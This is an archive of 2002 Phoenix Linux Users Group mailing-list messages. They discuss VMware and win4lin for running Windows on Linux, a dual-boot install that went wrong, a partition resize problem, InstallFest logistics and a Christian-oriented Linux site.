10 Jun 2002 21:59:56 -0700 Subject: Windows and Linux In-Reply-To: <3D055C10.29367AC0@georgetoft.com> References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> Message-ID: <200206102200.00787.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 George, How much did you pay for vmware? Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > My experience with vmware is very positive. Issues with vmware: > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > new software > downloads, three reboots (virtual), and 2 crashes, all I got was static. > - vmware does not do streaming media via USB. Want to use a USB > camera? Forget it. > - vmware with sound is usually preceeded with a loud pop. > - vmware does not support directx very well (if at all). > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > me blue screens, > just like the real thing. > > George > > Mike Porter wrote: > > Ok, this is intriguing to me. I am looking to migrate my house over to > > Linux, but I have some apps for which I cannot find comparable *nix > > substitutes. (Believe it or not, the request to move torward Linux is at > > my wife's request) > > > > So, those who have experienced VMware, win4lin, and the like, can you > > offer me your best suggestions as far as which you prefer and which > > flavor of Linux you believe is most solid with your choice? Also, any > > gotchas that you can think of would be most helpful. > > > > Also, has anyone run into problems with accessing Windows only devices > > using either of these options? > > > > Mike > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Sunday, May 26, 2002 9:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Cc: punkmmiv@cox.net > > Subject: Re: Windows and Linux > > > > On 26 May 2002 22:44:49 -0700 > > > > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > > together, but the only articles I've read are about installing Linux > > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > > was wondering if it's possible to install Windows on it while still > > > being able to use my current install? > > > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > > environment. Unlike VMWare and friends it is not a VM. Also, unlike > > WINE it actually works and works well. It will even let windows use > > (read/write) to your GNU/Linux file systems and such. It is not free, > > but neither is M$ Windows (so I assume you dont have a problem with > > that) and it is by far the best way to 'suffer' M$ while not having to > > 'leave' a real operating system. > > > > -Derek > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr UHgqeghEeXKGOxPtBOCylhE= =GPfW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:15:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Mon, 10 Jun 2002 22:15:58 -0700 Subject: OT: Please come forward References: <200206100555.BAA18201@hostinworld6.com> Message-ID: <3D05878E.E5D48F58@cox.net> Um, why do you say this was a PLUG member? Did he/she say so? Or are you concluding that from the fact that they were using KDE? BTW, it wasn't I. (Me neither.) Vic "Bryce C." wrote: > A PLUG member and possible Chandler resident running > KDE3.0.0-10 recently posted to my site's guestbook an > NMAP of my web server. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:20:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 10 Jun 2002 22:20:38 -0700 Subject: Linux on Comedy Central? References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> <3D057674.5287D130@leml.asu.edu> <20020610215038.23516f7e.derek@gnue.org> Message-ID: <3D0588A6.E86E5915@leml.asu.edu> Derek Neighbors wrote: > > chillywilly? > > http://members.gtw.net/~taylor/mike/chilly/chilly0.htm Yes, I think it is ;-) > > What was the old cartoon penguin named? His new nephew *IS* out > > beloved Tux ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:40:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 22:40:01 -0700 Subject: OT: Please come forward In-Reply-To: <3D05878E.E5D48F58@cox.net> References: <200206100555.BAA18201@hostinworld6.com> <3D05878E.E5D48F58@cox.net> Message-ID: <200206110540.BAA31141@hostinworld6.com> I assumed it. Besides, the person has come forward and they were just trying to be informative. On 10 Jun 2002 22:15:58 -0700, Victor Odhner wrote: > Um, why do you say this was a PLUG member? > Did he/she say so? Or are you concluding that > from the fact that they were using KDE? > > BTW, it wasn't I. (Me neither.) > > Vic > > "Bryce C." wrote: > > A PLUG member and possible Chandler resident running > > KDE3.0.0-10 recently posted to my site's guestbook an > > NMAP of my web server. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:43:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 10 Jun 2002 22:43:35 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <200206102243.35463@granroth.org> On Monday 10 June 2002 08:01 pm, Greg Furmanek wrote: > You right I should probably get some of heathens like myslef and creat > our own distro. > > I wonder what should I name it? and how many people will I piss of with > this one. > >>>Looking for something else on Google I stumbled on to The Linux for > >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: Y'know, for all the jokes that have been made about this, it appears to be a serious and useful (if that's what you are looking for) site. I think too many people here are viewing this as another Jesux (which I thought then and still think now is/was a hoax). Jesux was an over-the-top parody of the old "Unix for the Politically Correct" ("man" becomes "person", and so on) using Christian instead of PC. What *this* site is is yet another Special Interests Group with links to software related to their interest. It's no different, really, than an animal lover offering links to screensavers, wallpapers, pet interaction programs, and the like. Or any low-budget advocacy group sharing info on using Linux to advance the cause. I actually did something a *little* similar not that long ago with my own church in an attempt to get people to interact more online. I had some tutorials and the like written up on how to use Linux and ogg vorbis (and was getting into icecast) to allow church members spread around the country and the world to still stay in touch. Hmm.. although in my case, midway through my work, I was told by the Church Board that I was to cease and desist any and all work I was doing since the Internet was evil (no joke) and they thought people should spend less time online, not more. Ah well. Okay, got a little sidetracked... :-) My point is that while that site's content may not appeal to all people, it's far from a joke. I just hope they have more luck than I had. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:46:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Mon, 10 Jun 2002 22:46:43 -0700 Subject: Installfest Question (Yet another) In-Reply-To: <200206110415.AAA03429@hostinworld6.com> References: <200206110415.AAA03429@hostinworld6.com> Message-ID: <200206102246.49201.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 21:15, Bryce "C." wrote: > That was sort of my problem. I don't have the money to buy a scsi drive > for a 7 year old mac. Doesn't that mean it runs the old OS 7.X? That version of the system is freely available from Apple in case something goes wrong. PS: Check this information since I have known to be wrong in the past. :-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9BY7HpNoctRtUIRQRAt7iAJ0Ujo19H+sYTA4s5Z+5AMRR4Sg3RgCfUL52 8WPWktPPvuU36krmk81lOKI= =Xy52 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:52:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Isaac Sparrow) Date: Mon, 10 Jun 2002 22:52:05 -0700 Subject: Linux for Christians In-Reply-To: <3D056901.3060507@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> <3D056901.3060507@earthlink.net> Message-ID: <20020611055205.GA5358@neo.visicomp.com> --sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Can I be second in command? VIM rocks!=20 --=20 ------------------------------------------------- Isaac Sparrow Staff Engineer VisiComp, Inc. http://www.visicomp.com GnuPG Key Fingerprint: 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 Get my public key at: http://www.concentric.net/~issparow /* * Oops. The kernel tried to access some bad page. We'll have to * terminate things with extreme prejudice. */ die_if_kernel("Oops", regs, error_code); (From linux/arch/i386/mm/fault.c) =20 On Mon, Jun 10, 2002 at 08:05:37PM -0700, Greg Furmanek wrote: > HAHAHA... good humor. I loved this one. >=20 > btw. I should start my own cult of "VIM" editor. =20 >=20 > any followers? >=20 > Greg >=20 >=20 > David A. Sinck wrote: >=20 > >\_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: > >\_ > >\_ How about a linux distro specifically for non-christians? Buddists?= =20 > >\_ Muslims? Hindu? > >\_=20 > >\_ btw: why everything on this planet has to be about religion? Isn't= =20 > >\_ this why we have so > >\_ many wars? > > > >No, we have so many wars because of people using the wrong editor. > > > > > >Die infidel (emacs|vi) user, die! > > > >:-) > > > >http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html > > > > > >David > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't= =20 > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >=20 > > >=20 >=20 >=20 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't= =20 > post to the list quickly and you use Netscape to write mail. >=20 > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >=20 --sm4nu43k4a2Rpi4c Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: NSA bad. Encryption good. iD8DBQE9BZAFe3nv4WOXT0cRAkv7AKC0HcV+jJf2S9zu4BEQW0REf6c+SACeNXwP PoX36I30UCvi6A3Gfus4Quo= =u8nG -----END PGP SIGNATURE----- --sm4nu43k4a2Rpi4c-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:59:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Mon, 10 Jun 2002 22:59:21 -0700 Subject: [Fwd: [aztechlist] Linux in a Windows environment] Message-ID: <3D0591B9.15F13F68@cox.net> Maybe someone here can help this fellow with more technical information. I've already posted a reference to Matt Alexander's presentation on the plugpresents.org site. Vic -------- Original Message -------- Subject: [aztechlist] Linux in a Windows environment Date: Mon, 10 Jun 2002 12:56:15 -0400 From: "Corby Kissler" To: Hello list, I'm curious if there are any members of the list that have had first hand experience installing linux file and print sharing services in a corporate windows environment? My interest is in the migration pains that were felt from a technical perspective, and also from a business side, i.e. were there any hurdles to overcome with senior management. I'm looking at replacing some dedicated file sharing appliances with linux (red hat), a decent box, raid card and drives (super cheap). Storage costs are so low right now, that not having enough space in an environment is inexcusable (within limits of course) Have seen the Samba software but haven't played with it yet. Evaluating its integration with windows for file and print sharing from windows desktops. If anyone has an insight they'd like to share on TCO, buy-in, technical hurdles, i'd appreciate it. Corby Kissler ------------------------ Yahoo! Groups Sponsor ---------------------~--> Will You Find True Love? Will You Meet the One? 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Groups is subject to http://docs.yahoo.com/info/terms/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:04:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 10 Jun 2002 23:04:24 -0700 Subject: OT: Please come forward In-Reply-To: <3D05878E.E5D48F58@cox.net> References: <200206100555.BAA18201@hostinworld6.com> <3D05878E.E5D48F58@cox.net> Message-ID: <200206102304.24581.lists@ybnormal.org> Me neither and I use KDE too On Monday 10 June 2002 10:15 pm, Victor Odhner wrote: > Um, why do you say this was a PLUG member? > Did he/she say so? Or are you concluding that > from the fact that they were using KDE? > > BTW, it wasn't I. (Me neither.) > > Vic > > "Bryce C." wrote: > > A PLUG member and possible Chandler resident running > > KDE3.0.0-10 recently posted to my site's guestbook an > > NMAP of my web server. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:22:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Mon, 10 Jun 2002 23:22:29 -0700 Subject: Linux for Christians In-Reply-To: <200206102243.35463@granroth.org> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> Message-ID: <200206102322.38624.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 22:43, Kurt Granroth wrote: > What *this* site is is yet another Special Interests Group with links > to software related to their interest. It's no different, really, > than an animal lover offering links to screensavers, wallpapers, pet > interaction programs, and the like. Or any low-budget advocacy group > sharing info on using Linux to advance the cause. Don't worry. We'd laugh at the cat lovers as well. No harm intended. ;-) > I actually did something a *little* similar not that long ago with my > own church in an attempt to get people to interact more online. I had > some tutorials and the like written up on how to use Linux and ogg > vorbis (and was getting into icecast) to allow church members spread > around the country and the world to still stay in touch. > Hmm.. although in my case, midway through my work, I was told by the > Church Board that I was to cease and desist any and all work I was > doing since the Internet was evil (no joke) and they thought people > should spend less time online, not more. Ah well. "Evil"? I think I hear the words of an individual with little experience. They need to keep in mind that the first amendment doesn't just apply to them. In the case of spending more time offline, that is certainly a common thread among society. However, if the religious leader of choice can spend a couple of hours a day talking to people, then they should respect my right to do the same. Your project sounds like it is dying to be placed on the PLUG website, though. :-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN +nl5JW8PnnIFGzFr+PUmJrs= =xg3K -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:35:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 23:35:48 -0700 Subject: Installfest Question (Yet another) In-Reply-To: <200206102246.49201.voltage_spike@fastmail.fm> References: <200206110415.AAA03429@hostinworld6.com> <200206102246.49201.voltage_spike@fastmail.fm> Message-ID: <200206110635.CAA16235@hostinworld6.com> Do you have any idea where? On 10 Jun 2002 22:46:43 -0700, Voltage Spike wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Monday 10 June 2002 21:15, Bryce "C." wrote: > > That was sort of my problem. I don't have the money to buy a scsi drive > > for a 7 year old mac. > > Doesn't that mean it runs the old OS 7.X? That version of the system is > freely available from Apple in case something goes wrong. > > PS: Check this information since I have known to be wrong in the past. :-) > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9BY7HpNoctRtUIRQRAt7iAJ0Ujo19H+sYTA4s5Z+5AMRR4Sg3RgCfUL52 > 8WPWktPPvuU36krmk81lOKI= > =Xy52 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:55:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 23:55:14 -0700 (MST) Subject: Linux on Comedy Central? In-Reply-To: <20020610215038.23516f7e.derek@gnue.org> Message-ID: Am 10. Jun, 2002 schwätzte Derek Neighbors so: > chillywilly? > > http://members.gtw.net/~taylor/mike/chilly/chilly0.htm I was thinking ".tn.us Tuxedo". If that's so, though, what's Tux' first name? ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 07:47:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Tue, 11 Jun 2002 00:47:00 -0700 Subject: Mac OS Download (Was: Installfest Question (Yet another) ) In-Reply-To: <200206110635.CAA16235@hostinworld6.com> References: <200206110415.AAA03429@hostinworld6.com> <200206102246.49201.voltage_spike@fastmail.fm> <200206110635.CAA16235@hostinworld6.com> Message-ID: <200206110047.08219.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 23:35, Bryce "C." wrote: > Do you have any idea where? Courtesy of the Basilisk project: http://www.kearney.net/~mhoffman/basiliskII/system753_tutorial/ They even provide installation instructions, it seems. As mentioned before, it might be a good idea to see what version of the MacOS you are currently running. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9Bar3pNoctRtUIRQRAh7OAJ9azPn8Lwy7PWga/Y0cKSW1+gmKygCeNavX DiiUlYkEr/nGlfk9RePhWSc= =hmNy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 08:50:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt) Date: Tue, 11 Jun 2002 01:50:19 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> Message-ID: <000501c21125$040fc640$6501a8c0@ph.cox.net> So today I went out to Fry's and bought Windows XP, because I need Windows for a few things. I installed XP, and all went well. I prodded it for a few minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the default settings it gave me. It said it was going to delete the NTFS partition, but I'd heard Linux works well with Windows, so I assumed that the folks at SuSE knew what they were doing. Apparently I was wrong. Linux installed fine, but when I restarted the computer to see if all was OK, I found out that it wasn't. Windows shows up as an option in LILO, but it merely goes to a black screen with white text that says "Loading Windows..." What is it that I did wrong, and what should I do after I fdisk it all and start repeating the same process? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 10:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 11 Jun 2002 03:57:55 -0700 (MST) Subject: supplies for InstallFest Message-ID: moin, moin, I've put together a page to show what supplies we need/have for the InstallFest. There is a form to add stuff as well. Please be gentle on it. It's not locked down as well as I'd like. It does, however, let you post that you're volunteering to bring stuff. Feel free to use a pseudonym or random string for your 'name' if you don't want your name listed, but put in a valid email addy, so Bill can get ahold of you. The email addies aren't viewable from the publicly available pages. https://www.LuftHans.com/php/PLUG/InstallFest/supplies.php Green means we have what we've determined we need ( more is usually better, though, so feel free to bring more ). Red ( well, it's pink because it was hard to see links on a red background and it was easier to change the background color ) indicates that we need more of that item. ciao, der.hans -- # https://www.LuftHans.com/ # Like the maid, I don't do (M$)Windows. - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 11:14:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 11 Jun 2002 04:14:37 -0700 (MST) Subject: ride sharing for the InstallFest Message-ID: moin, moin, not everyone has a car to get to the InstallFest. Also, some who might be bringing equipment might need help hauling it over. Let's see if we can use the list to organize that a little bit :). ciao, der.hans -- # https://www.LuftHans.com/ # Take a razor to your throat # and a noose to your neck, # then follow that up with a cup of poison. # Not a good way to start the day. - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 11:39:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 07:39:15 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> Message-ID: <3D05E163.2F12A01A@georgetoft.com> Hi Nathan, The price for vmware is $299. George Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > George, > How much did you pay for vmware? > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > My experience with vmware is very positive. Issues with vmware: > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > new software > > downloads, three reboots (virtual), and 2 crashes, all I got was static. > > - vmware does not do streaming media via USB. Want to use a USB > > camera? Forget it. > > - vmware with sound is usually preceeded with a loud pop. > > - vmware does not support directx very well (if at all). > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > me blue screens, > > just like the real thing. > > > > George > > > > Mike Porter wrote: > > > Ok, this is intriguing to me. I am looking to migrate my house over to > > > Linux, but I have some apps for which I cannot find comparable *nix > > > substitutes. (Believe it or not, the request to move torward Linux is at > > > my wife's request) > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > offer me your best suggestions as far as which you prefer and which > > > flavor of Linux you believe is most solid with your choice? Also, any > > > gotchas that you can think of would be most helpful. > > > > > > Also, has anyone run into problems with accessing Windows only devices > > > using either of these options? > > > > > > Mike > > > > > > -----Original Message----- > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > Sent: Sunday, May 26, 2002 9:36 PM > > > To: plug-discuss@lists.plug.phoenix.az.us > > > Cc: punkmmiv@cox.net > > > Subject: Re: Windows and Linux > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > Matt wrote: > > > > I know that Windows and Linux are supposed to operate pretty well > > > > together, but the only articles I've read are about installing Linux > > > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > > > was wondering if it's possible to install Windows on it while still > > > > being able to use my current install? > > > > > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > > > environment. Unlike VMWare and friends it is not a VM. Also, unlike > > > WINE it actually works and works well. It will even let windows use > > > (read/write) to your GNU/Linux file systems and such. It is not free, > > > but neither is M$ Windows (so I assume you dont have a problem with > > > that) and it is by far the best way to 'suffer' M$ while not having to > > > 'leave' a real operating system. > > > > > > -Derek > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > UHgqeghEeXKGOxPtBOCylhE= > =GPfW > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:00:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Tue, 11 Jun 2002 06:00:15 -0700 Subject: partition magic Message-ID: <20020611060015.5406195d.snoogans@qwest.net> I am using partition magic and i want to resize my ext2 partition at the end of my 18 gig HD because i want to try out another OS(gentoo) but partition magic thinks my ext2 partition is completely full and therefor wont resize it. Does anyone have any idea why it might think that or how to fix it or if im completely screwed? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:35:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Tue, 11 Jun 2002 06:35:53 -0700 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> Message-ID: <3D05FCB9.1020001@asu.edu> For personal use, the price is ~$120...used to be $99. Rod George Toft wrote: > Hi Nathan, > > The price for vmware is $299. > > George > > > Nathan England wrote: > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>George, >>How much did you pay for vmware? >> >>Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: >> >>>My experience with vmware is very positive. Issues with vmware: >>>- I cannot listen to Internet Radio at kccnfm100.com. Even with four >>>new software >>>downloads, three reboots (virtual), and 2 crashes, all I got was static. >>>- vmware does not do streaming media via USB. Want to use a USB >>>camera? Forget it. >>>- vmware with sound is usually preceeded with a loud pop. >>>- vmware does not support directx very well (if at all). >>> >>>Other than that, it lets me do my taxes, browse using IE 5.5, and gives >>>me blue screens, >>>just like the real thing. >>> >>>George >>> >>>Mike Porter wrote: >>> >>>>Ok, this is intriguing to me. I am looking to migrate my house over to >>>>Linux, but I have some apps for which I cannot find comparable *nix >>>>substitutes. (Believe it or not, the request to move torward Linux is at >>>>my wife's request) >>>> >>>>So, those who have experienced VMware, win4lin, and the like, can you >>>>offer me your best suggestions as far as which you prefer and which >>>>flavor of Linux you believe is most solid with your choice? Also, any >>>>gotchas that you can think of would be most helpful. >>>> >>>>Also, has anyone run into problems with accessing Windows only devices >>>>using either of these options? >>>> >>>>Mike >>>> >>>>-----Original Message----- >>>>From: Derek Neighbors [mailto:derek@gnue.org] >>>>Sent: Sunday, May 26, 2002 9:36 PM >>>>To: plug-discuss@lists.plug.phoenix.az.us >>>>Cc: punkmmiv@cox.net >>>>Subject: Re: Windows and Linux >>>> >>>>On 26 May 2002 22:44:49 -0700 >>>> >>>>Matt wrote: >>>> >>>>>I know that Windows and Linux are supposed to operate pretty well >>>>>together, but the only articles I've read are about installing Linux >>>>>once Windows is already there. I'm running a pure SuSE 8.0 box and I >>>>>was wondering if it's possible to install Windows on it while still >>>>>being able to use my current install? >>>> >>>>Try win4lin. It lets you run windows as a window inside your GNU/Linux >>>>environment. Unlike VMWare and friends it is not a VM. Also, unlike >>>>WINE it actually works and works well. It will even let windows use >>>>(read/write) to your GNU/Linux file systems and such. It is not free, >>>>but neither is M$ Windows (so I assume you dont have a problem with >>>>that) and it is by far the best way to 'suffer' M$ while not having to >>>>'leave' a real operating system. >>>> >>>>-Derek >>>>________________________________________________ >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>>post to the list quickly and you use Netscape to write mail. >>>> >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>>>________________________________________________ >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>>post to the list quickly and you use Netscape to write mail. >>>> >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.7 (GNU/Linux) >> >>iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr >>UHgqeghEeXKGOxPtBOCylhE= >>=GPfW >>-----END PGP SIGNATURE----- >> 